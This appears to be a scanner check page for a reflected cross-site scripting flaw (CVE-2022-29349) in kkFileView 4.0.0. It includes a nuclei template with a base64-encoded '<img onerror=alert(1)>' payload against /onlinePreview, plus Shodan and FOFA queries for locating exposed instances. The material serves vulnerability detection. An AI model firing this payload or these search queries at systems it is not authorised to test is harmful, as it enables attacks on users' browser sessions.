kkFileView 4.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.0.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a newer version of kkFileView to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D
Positive when: contains "txt\"><img src=111 onerror=alert(1)>123" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-29349 -u <target>

The full check

id: CVE-2022-29349

info:
  name: kkFileView 4.0.0 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    kkFileView 4.0.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of kkFileView to mitigate the XSS vulnerability.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/347
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29349
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-29349
    cwe-id: CWE-79
    epss-score: 0.0175
    epss-percentile: 0.78045
    cpe: cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve,cve2022,kkFileView,xss,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'txt"><img src=111 onerror=alert(1)>123'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from